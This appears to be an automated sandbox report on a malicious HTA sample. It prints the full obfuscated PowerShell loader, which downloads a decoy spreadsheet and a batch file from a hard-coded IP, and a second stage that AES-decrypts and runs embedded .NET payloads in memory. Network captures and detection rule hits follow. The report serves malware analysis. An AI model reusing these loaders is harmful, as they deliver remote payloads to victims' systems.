.hta| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6401 | April 21, 2024, 12:44 p.m. | April 21, 2024, 12:50 p.m. |
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function zyfTBcnYzprd($pHHdIofq, $hQvuJry){[IO.File]::WriteAllBytes($pHHdIofq, $hQvuJry)};function RsNIEjCO($pHHdIofq){if($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61328,61336,61336))) -eq $True){rundll32.exe $pHHdIofq }elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61340,61343,61277))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $pHHdIofq}elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61337,61343,61333))) -eq $True){misexec /qn /i $pHHdIofq}else{Start-Process $pHHdIofq}};function ZWufiDkKJd($WfmgmuntIKBYcRft){$ywqrhKjGiioXguh = New-Object (ySHQDZBWwySzRGIG @(61306,61329,61344,61274,61315,61329,61326,61295,61336,61333,61329,61338,61344));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$hQvuJry = $ywqrhKjGiioXguh.DownloadData($WfmgmuntIKBYcRft);return $hQvuJry};function ySHQDZBWwySzRGIG($xGZDVkPMYLYy){$yFBtdzpE=61228;$oUSwLv=$Null;foreach($fxEGQMN in $xGZDVkPMYLYy){$oUSwLv+=[char]($fxEGQMN-$yFBtdzpE)};return $oUSwLv};function dDSCNJIjjRgIM(){$lBhpKXrqsdodra = $env:AppData + '\';$RtGcEcBBqYud = $lBhpKXrqsdodra + 'jiteon.xlsx';If(Test-Path -Path $RtGcEcBBqYud){Invoke-Item $RtGcEcBBqYud;}Else{ $hKUnbCqsPbBsWBpNkbF = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61334,61333,61344,61329,61339,61338,61274,61348,61336,61343,61348));zyfTBcnYzprd $RtGcEcBBqYud $hKUnbCqsPbBsWBpNkbF;Invoke-Item $RtGcEcBBqYud;};$gzgwwTbWpZOp = $lBhpKXrqsdodra + 'GoGi.bat'; if (Test-Path -Path $gzgwwTbWpZOp){RsNIEjCO $gzgwwTbWpZOp;}Else{ $VgJdQKaf = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61299,61339,61299,61333,61274,61326,61325,61344));zyfTBcnYzprd $gzgwwTbWpZOp $VgJdQKaf;RsNIEjCO $gzgwwTbWpZOp;};;;;}dDSCNJIjjRgIM;
2656-
EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" /e
2816 -
-
-
cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\test22\AppData\Roaming\GoGi.bat';$gPQY='CmYpnhamYpnnmYpngmYpnemYpnEmYpnxtmYpnenmYpnsmYpniomYpnnmYpn'.Replace('mYpn', ''),'LoaUtEPdUtEP'.Replace('UtEP', ''),'MaiCYgQnMCYgQodCYgQuleCYgQ'.Replace('CYgQ', ''),'SprHTnlitrHTn'.Replace('rHTn', ''),'TrrzhRarzhRnsfrzhRorrzhRmFrzhRirzhRnarzhRlBlrzhRorzhRckrzhR'.Replace('rzhR', ''),'GetuUbXCuUbXuuUbXruUbXreuUbXntuUbXPuUbXrouUbXcuUbXesuUbXsuUbX'.Replace('uUbX', ''),'FrFEdOomBFEdOasFEdOe64FEdOStrFEdOiFEdOngFEdO'.Replace('FEdO', ''),'ReanclddLncldinencldsncld'.Replace('ncld', ''),'DjPqYejPqYcojPqYmpjPqYrejPqYssjPqY'.Replace('jPqY', ''),'IPIJhnvPIJhokPIJhePIJh'.Replace('PIJh', ''),'CopZKPiyTZKPioZKPi'.Replace('ZKPi', ''),'ElIXGDeIXGDmIXGDenIXGDtAIXGDtIXGD'.Replace('IXGD', ''),'CruXrmeuXrmatuXrmeDeuXrmcryuXrmptuXrmoruXrm'.Replace('uXrm', ''),'EJuQRntJuQRrJuQRyPJuQRoinJuQRtJuQR'.Replace('JuQR', '');powershell -w hidden;function oukWk($hMAdX){$uBEEb=[System.Security.Cryptography.Aes]::Create();$uBEEb.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uBEEb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uBEEb.Key=[System.Convert]::($gPQY[6])('TGdOerQan8DiYOIpc1W3E6Uf7wMJSi91JjPhdKuCB3Q=');$uBEEb.IV=[System.Convert]::($gPQY[6])('CruLH9j6aex2cpz0fozZ+w==');$XBRRE=$uBEEb.($gPQY[12])();$gomww=$XBRRE.($gPQY[4])($hMAdX,0,$hMAdX.Length);$XBRRE.Dispose();$uBEEb.Dispose();$gomww;}function SIliJ($hMAdX){$nQeHe=New-Object System.IO.MemoryStream(,$hMAdX);$EvPMN=New-Object System.IO.MemoryStream;$uxdRy=New-Object System.IO.Compression.GZipStream($nQeHe,[IO.Compression.CompressionMode]::($gPQY[8]));$uxdRy.($gPQY[10])($EvPMN);$uxdRy.Dispose();$nQeHe.Dispose();$EvPMN.Dispose();$EvPMN.ToArray();}$WrkBk=[System.IO.File]::($gPQY[7])([Console]::Title);$dItwN=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 5).Substring(2))));$Yylgf=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 6).Substring(2))));[System.Reflection.Assembly]::($gPQY[1])([byte[]]$Yylgf).($gPQY[13]).($gPQY[9])($null,$null);[System.Reflection.Assembly]::($gPQY[1])([byte[]]$dItwN).($gPQY[13]).($gPQY[9])($null,$null); "
2108 -
powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
192
-
-
-
-
-
explorer.exe C:\Windows\Explorer.EXE
1452
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| 193.222.96.114 | Active | Moloch |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 193.222.96.114:7287 -> 192.168.56.101:49163 | 2400036 | ET DROP Spamhaus DROP Listed Traffic Inbound group 37 | Misc Attack |
| TCP 192.168.56.101:49163 -> 193.222.96.114:7287 | 2027254 | ET INFO Dotted Quad Host XLSX Request | Potentially Bad Traffic |
Suricata TLS
No Suricata TLS
| registry | HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\12.0\Registration\{90120000-0030-0000-0000-0000000FF1CE}\DigitalProductID |
| file | C:\Users\test22\AppData\Roaming\~$jiteon.xlsx |
| file | C:\Users\test22\AppData\Roaming\jiteon.xlsx |
| file | C:\Users\test22\AppData\Roaming\GoGi.bat |
| file | C:\Users\test22\AppData\Roaming\Microsoft\Office\Recent\jiteon.xlsx.LNK |
| file | C:\Users\test22\AppData\Roaming\Microsoft\Office\Recent\Roaming.LNK |
| file | C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\Roaming.lnk |
| file | C:\Users\test22\AppData\Roaming\Microsoft\Office\Recent\jiteon.xlsx.LNK |
| file | C:\Users\test22\AppData\Roaming\Microsoft\Office\Recent\Roaming.LNK |
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| file | C:\Users\test22\AppData\Roaming\Microsoft\Windows\Recent\Roaming.lnk |
| cmdline | C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\test22\AppData\Roaming\GoGi.bat';$gPQY='CmYpnhamYpnnmYpngmYpnemYpnEmYpnxtmYpnenmYpnsmYpniomYpnnmYpn'.Replace('mYpn', ''),'LoaUtEPdUtEP'.Replace('UtEP', ''),'MaiCYgQnMCYgQodCYgQuleCYgQ'.Replace('CYgQ', ''),'SprHTnlitrHTn'.Replace('rHTn', ''),'TrrzhRarzhRnsfrzhRorrzhRmFrzhRirzhRnarzhRlBlrzhRorzhRckrzhR'.Replace('rzhR', ''),'GetuUbXCuUbXuuUbXruUbXreuUbXntuUbXPuUbXrouUbXcuUbXesuUbXsuUbX'.Replace('uUbX', ''),'FrFEdOomBFEdOasFEdOe64FEdOStrFEdOiFEdOngFEdO'.Replace('FEdO', ''),'ReanclddLncldinencldsncld'.Replace('ncld', ''),'DjPqYejPqYcojPqYmpjPqYrejPqYssjPqY'.Replace('jPqY', ''),'IPIJhnvPIJhokPIJhePIJh'.Replace('PIJh', ''),'CopZKPiyTZKPioZKPi'.Replace('ZKPi', ''),'ElIXGDeIXGDmIXGDenIXGDtAIXGDtIXGD'.Replace('IXGD', ''),'CruXrmeuXrmatuXrmeDeuXrmcryuXrmptuXrmoruXrm'.Replace('uXrm', ''),'EJuQRntJuQRrJuQRyPJuQRoinJuQRtJuQR'.Replace('JuQR', '');powershell -w hidden;function oukWk($hMAdX){$uBEEb=[System.Security.Cryptography.Aes]::Create();$uBEEb.Mode=[System.Security.Cryptography.CipherMode]::CBC;$uBEEb.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$uBEEb.Key=[System.Convert]::($gPQY[6])('TGdOerQan8DiYOIpc1W3E6Uf7wMJSi91JjPhdKuCB3Q=');$uBEEb.IV=[System.Convert]::($gPQY[6])('CruLH9j6aex2cpz0fozZ+w==');$XBRRE=$uBEEb.($gPQY[12])();$gomww=$XBRRE.($gPQY[4])($hMAdX,0,$hMAdX.Length);$XBRRE.Dispose();$uBEEb.Dispose();$gomww;}function SIliJ($hMAdX){$nQeHe=New-Object System.IO.MemoryStream(,$hMAdX);$EvPMN=New-Object System.IO.MemoryStream;$uxdRy=New-Object System.IO.Compression.GZipStream($nQeHe,[IO.Compression.CompressionMode]::($gPQY[8]));$uxdRy.($gPQY[10])($EvPMN);$uxdRy.Dispose();$nQeHe.Dispose();$EvPMN.Dispose();$EvPMN.ToArray();}$WrkBk=[System.IO.File]::($gPQY[7])([Console]::Title);$dItwN=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 5).Substring(2))));$Yylgf=SIliJ (oukWk ([Convert]::($gPQY[6])([System.Linq.Enumerable]::($gPQY[11])($WrkBk, 6).Substring(2))));[System.Reflection.Assembly]::($gPQY[1])([byte[]]$Yylgf).($gPQY[13]).($gPQY[9])($null,$null);[System.Reflection.Assembly]::($gPQY[1])([byte[]]$dItwN).($gPQY[13]).($gPQY[9])($null,$null); " |
| cmdline | powershell.exe -ExecutionPolicy UnRestricted function zyfTBcnYzprd($pHHdIofq, $hQvuJry){[IO.File]::WriteAllBytes($pHHdIofq, $hQvuJry)};function RsNIEjCO($pHHdIofq){if($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61328,61336,61336))) -eq $True){rundll32.exe $pHHdIofq }elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61340,61343,61277))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $pHHdIofq}elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61337,61343,61333))) -eq $True){misexec /qn /i $pHHdIofq}else{Start-Process $pHHdIofq}};function ZWufiDkKJd($WfmgmuntIKBYcRft){$ywqrhKjGiioXguh = New-Object (ySHQDZBWwySzRGIG @(61306,61329,61344,61274,61315,61329,61326,61295,61336,61333,61329,61338,61344));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$hQvuJry = $ywqrhKjGiioXguh.DownloadData($WfmgmuntIKBYcRft);return $hQvuJry};function ySHQDZBWwySzRGIG($xGZDVkPMYLYy){$yFBtdzpE=61228;$oUSwLv=$Null;foreach($fxEGQMN in $xGZDVkPMYLYy){$oUSwLv+=[char]($fxEGQMN-$yFBtdzpE)};return $oUSwLv};function dDSCNJIjjRgIM(){$lBhpKXrqsdodra = $env:AppData + '\';$RtGcEcBBqYud = $lBhpKXrqsdodra + 'jiteon.xlsx';If(Test-Path -Path $RtGcEcBBqYud){Invoke-Item $RtGcEcBBqYud;}Else{ $hKUnbCqsPbBsWBpNkbF = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61334,61333,61344,61329,61339,61338,61274,61348,61336,61343,61348));zyfTBcnYzprd $RtGcEcBBqYud $hKUnbCqsPbBsWBpNkbF;Invoke-Item $RtGcEcBBqYud;};$gzgwwTbWpZOp = $lBhpKXrqsdodra + 'GoGi.bat'; if (Test-Path -Path $gzgwwTbWpZOp){RsNIEjCO $gzgwwTbWpZOp;}Else{ $VgJdQKaf = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61299,61339,61299,61333,61274,61326,61325,61344));zyfTBcnYzprd $gzgwwTbWpZOp $VgJdQKaf;RsNIEjCO $gzgwwTbWpZOp;};;;;}dDSCNJIjjRgIM; |
| cmdline | C:\Windows\system32\cmd.exe /K "C:\Users\test22\AppData\Roaming\GoGi.bat" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function zyfTBcnYzprd($pHHdIofq, $hQvuJry){[IO.File]::WriteAllBytes($pHHdIofq, $hQvuJry)};function RsNIEjCO($pHHdIofq){if($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61328,61336,61336))) -eq $True){rundll32.exe $pHHdIofq }elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61340,61343,61277))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $pHHdIofq}elseif($pHHdIofq.EndsWith((ySHQDZBWwySzRGIG @(61274,61337,61343,61333))) -eq $True){misexec /qn /i $pHHdIofq}else{Start-Process $pHHdIofq}};function ZWufiDkKJd($WfmgmuntIKBYcRft){$ywqrhKjGiioXguh = New-Object (ySHQDZBWwySzRGIG @(61306,61329,61344,61274,61315,61329,61326,61295,61336,61333,61329,61338,61344));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$hQvuJry = $ywqrhKjGiioXguh.DownloadData($WfmgmuntIKBYcRft);return $hQvuJry};function ySHQDZBWwySzRGIG($xGZDVkPMYLYy){$yFBtdzpE=61228;$oUSwLv=$Null;foreach($fxEGQMN in $xGZDVkPMYLYy){$oUSwLv+=[char]($fxEGQMN-$yFBtdzpE)};return $oUSwLv};function dDSCNJIjjRgIM(){$lBhpKXrqsdodra = $env:AppData + '\';$RtGcEcBBqYud = $lBhpKXrqsdodra + 'jiteon.xlsx';If(Test-Path -Path $RtGcEcBBqYud){Invoke-Item $RtGcEcBBqYud;}Else{ $hKUnbCqsPbBsWBpNkbF = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61334,61333,61344,61329,61339,61338,61274,61348,61336,61343,61348));zyfTBcnYzprd $RtGcEcBBqYud $hKUnbCqsPbBsWBpNkbF;Invoke-Item $RtGcEcBBqYud;};$gzgwwTbWpZOp = $lBhpKXrqsdodra + 'GoGi.bat'; if (Test-Path -Path $gzgwwTbWpZOp){RsNIEjCO $gzgwwTbWpZOp;}Else{ $VgJdQKaf = ZWufiDkKJd (ySHQDZBWwySzRGIG @(61332,61344,61344,61340,61286,61275,61275,61277,61285,61279,61274,61278,61278,61278,61274,61285,61282,61274,61277,61277,61280,61286,61283,61278,61284,61283,61275,61299,61339,61299,61333,61274,61326,61325,61344));zyfTBcnYzprd $gzgwwTbWpZOp $VgJdQKaf;RsNIEjCO $gzgwwTbWpZOp;};;;;}dDSCNJIjjRgIM; |
| cmdline | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Data received | HTTP/1.1 200 OK |
| Data received | Content-Length: 9842 Content-Type: application/octet-stream Connection:close PK ! A7Ïn [Content_Types].xml ¢( ¬TÉnÂ0½Wê?D¾V¡ªª º [$èxX$¶å(ü}'fQU±Á%QlÏ[&ó<Ú&YB@ãl.úYO$` §rñ=ýHE¤¬V³5 ïïÓµL¸Úb.j"ÿ"%5´ 3çÁòNéB«?C%½*æªùØë=ÉÂYK)ub8xR-JÞW¼¼Q23V$¯s U.÷)±P¹´ú IêÊÒ ]±h:C @i¬¨m2 3 ±1ò g/#ݺʸ2 ÃÚx|`ëGºã®¶u_ü;ÑU OÕ²w¹jä ósóì4È¥-ÊZeìN÷ þxe|õo,¤óÏè 1ñy½siÝ Þºíô sè ñôV7ðûÔ88Ú wa®:õ ìCrhØö ù«ÛÝ¢A àñþ ÿÿ PK ! µU0#ô L _rels/.rels ¢( ¬MOÃ0 ïHüÈ÷ÕÝBKwAH»!T~Iܵ£$Ý¿' TG½~üÊÛÝ<êÈ!öâ4¬;#¶wúqu*&rFq¬áÄvÕõÕöGJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥ =ZÆMYÞbø®ÕBSí°·7 êÏצé ?9LìÒÈsbgÙ®|Èl!õùUSh9i°br:"y_dlÀóD¿ý|-NÈR"4ø2ÏGÇ% õZ´4ñËyÄ7 ëÈðÉ ¨Þ ÿÿ PK ! ù¹ l xl/workbook.xml¬UËnë6Ýè?Ú3e½çÂz¡ qè°$ª;.ÐEwývÑ}·ý°ô : I®ÂÍ!"gttfæ uüiUWÚ# ãÍXÇG¦®Ñ&çk Æúõ4C¾®u4©xCÇúíôO'ßw¼äbqÏùB¦ë¥mh]^ÒtG¼¥ Xæ\ÔDÂR<]+()ºRYWe®QÖèkP ÁçsÓç}M¹´"èw%k»-Z W±è[óº{V1ù4êZ§ ä¾°WØÑV.þØÁÚ¾ L{¯ªY.xÇçò 5é½ø±i |
| Data received | <rÌÕ&ßm _R<)´Ç«ukç} âî4x.ëÓÅîa ö±ÏÊëüþa»Bù,%ad±%Æ MÈ{;öW¬/Èaø¿óJâ§øâ3äß ÿÿ PK ! Iv~ docProps/app.xml ¢( ÁNÜ0ïxÈwÖYZ!´rÐRÄ¡UWÚ »ëL6mÙC´Û[¯-o Ðà¡à :IÄ zÿ×ïÏcÓMc³b2Þl:ÉYNûÒ¸uÁ®V',K¨\©¬wP°-$v*>Eô"HE¸T°1Ì8OºF¥ ÉÊÇF!µqÍ}U ç^ß6à åù1 +¡< »@6$ÎZüßÐÒë/]¯¶¥8 Án)¿ }òf7¬àcQÝôm4¸¹àãV,µ²0§`Y)@ð׸Õ-m¡LLR´8kA£Y2?hmG,û®t8kU4Ê!au¶¡ékFùt÷üóÏÓïç_e÷åØ=®Í'9í Tì» }ÈA é[µPÿÁ< 3÷ ñ³¬p8sÌ×_Nz=÷MPnK®úbÜMº +®^º?ËZE(é v ß Ä%í2Ú.d^+·òÅó^èÿzøãrz<É?æô²£à¯¿Yþ ÿÿ PK- ! A7Ïn [Content_Types].xmlPK- ! µU0#ô L § _rels/.relsPK- ! ù¹ l Ì xl/workbook.xmlPK- ! >ó º } xl/_rels/workbook.xml.relsPK- ! ³Ûë' o ° xl/worksheets/sheet1.xmlPK- ! Ê»FØX Ç xl/theme/theme1.xmlPK- ! x³ò xl/styles.xmlPK- ! Wý ° ³ xl/sharedStrings.xmlPK- ! ;m2KÁ B # xl/worksheets/_rels/sheet1.xml.relsPK- ! oøQ£ ' xl/printerSettings/printerSettings1.binPK- ! @Ä ú@ Y í docProps/core.xmlPK- ! Iv~ d docProps/app.xmlPK & 6# |
| Data received | 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 |
| Data received | 3oG7Gb9R+edl/M1VxLz8esKwKbDw89c+DhXp047PuxBWfFHMCKYnb6Z/lCNVgltg1V4H8O2fc0UBLcp2Po1NiM6cI9W2mz90hoHVD9TVxIzuJF9x9CKMsa6EqvYsAIjIJrQY6eTepUa71w8PSjj8SqhsmO2RdxUGiYWAIoeG1WSQ/gdT+JesoVJZwmARNIAyRE809FkzLZsLNKsTfKIEfqviDuOT69RGSYfLJb5TpCrwOR7+g3M0KyWHeQG3xx59ZQLY1yt7JUxFFRuyyDnFqq+QZCuv2OAbyxXrKOBgrRv7NCQOtu90G6gZJa1g0L3T0Q06iQQ7C9i6mdU7pi3KMEthKpfDfUMed/ZuSZyayzOd3++DyCbBx0cLlOYRZALwmp4o85wRtMhPdaXckf8rax4QK+Mq5ghgFmkkCR1hAlCC2IXyMeUffielbxLHZMlDspXzBx+hpiqL9axInOVB9uD7K9tFudMEhciKQ0VxgbkE9oKVODGvEl4ek7W1BRTdh/jV3mAovMmAD5KPnCfv/jZRtGV3Gql7uQSzLlCQUXrvuZYcc66BOoLyttZH9QWLZQS1q3p2DVEWv/LTwwMqqNatt0KMW2WTTOh+HHcVaACLYariQ5L17IlY2ceAXp4PXStwN216IMFzMOnqfTqBv2L1gYc1SKfBYSzgR1NKix/E3ry6YzEp2fiBtySV2VzF6oGK4VSTU7XGesm0wcVs5OFpLxtx/Z8ZzY62DGTGr3lDlr1JPbNLMbwZJfKGQQZRVploQ186QJ02a8li+dasH6Sxi+p1Pnmxrd8ABUjfxINg6JKjwM/AJ4pBYx1y0YuTIkNqj8Ig2MXt+YtH0aJRhJtr2nrK02jeR2CeziBLvjK4klLR+lwHDg+fx7fjvmJOGNm5ymFtwGDjdNDMyA4TDU0qAV1eOJEuAq9gXVH6Pn+3nZeWKn24GX8VDSoCcEL/vY3VtJWRYYaU3gG3JnEjQzYrRTUUu1zp2MVpYRiz1N2Yz2qvogbEqFRFrZfXkFnED5eNkoMOU8T7dliHMtprWnDiYs1iOgG8MiOD7iVEd6Gx4mjZya1ADEEG1RKdbWDZnR5gWK430Fv0msT+z8vbhbmIsc2ig2vl8E1Xc6HFAPoiAolYxcl+2+M9ej7JZzhyJwRNy034HOzvkKELop/tOWmExOwNHxtrLoD1wj0o3GfWGW3bTGdYZcpJOb6Q+MGRJtNpyWUg7piirS6rBguHbYashJQwPIzOyoXpqdGLIPLCf3mC+MNL4XGjnQ8jyMiVKaoGL6Sfj+bs2DID |
| Data sent | GET /jiteon.xlsx HTTP/1.1 Host: 193.222.96.114:7287 Connection: Keep-Alive |
| Data sent | GET /GoGi.bat HTTP/1.1 Host: 193.222.96.114:7287 |
| description | Create a windows service | rule | Create_Service | ||||||
| description | Communications over RAW Socket | rule | Network_TCP_Socket | ||||||
| description | Communication using DGA | rule | Network_DGA | ||||||
| description | Match Windows Http API call | rule | Str_Win32_Http_API | ||||||
| description | Take ScreenShot | rule | ScreenShot | ||||||
| description | Escalate priviledges | rule | Escalate_priviledges | ||||||
| description | Steal credential | rule | local_credential_Steal | ||||||
| description | PWS Memory | rule | Generic_PWS_Memory_Zero | ||||||
| description | Record Audio | rule | Sniff_Audio | ||||||
| description | Communications over HTTP | rule | Network_HTTP | ||||||
| description | Communications use DNS | rule | Network_DNS | ||||||
| description | Code injection with CreateRemoteThread in a remote process | rule | Code_injection | ||||||
| description | (no description) | rule | DebuggerCheck__GlobalFlags | ||||||
| description | (no description) | rule | DebuggerCheck__QueryInfo | ||||||
| description | (no description) | rule | DebuggerCheck__RemoteAPI | ||||||
| description | (no description) | rule | DebuggerHiding__Thread | ||||||
| description | (no description) | rule | DebuggerHiding__Active | ||||||
| description | (no description) | rule | DebuggerException__ConsoleCtrl | ||||||
| description | (no description) | rule | DebuggerException__SetConsoleCtrl | ||||||
| description | (no description) | rule | ThreadControl__Context | ||||||
| description | (no description) | rule | SEH__vectored | ||||||
| description | (no description) | rule | Check_Dlls | ||||||
| description | Checks if being debugged | rule | anti_dbg | ||||||
| description | Anti-Sandbox checks for ThreatExpert | rule | antisb_threatExpert | ||||||
| description | Bypass DEP | rule | disable_dep | ||||||
| description | Affect hook table | rule | win_hook | ||||||
| description | File Downloader | rule | Network_Downloader | ||||||
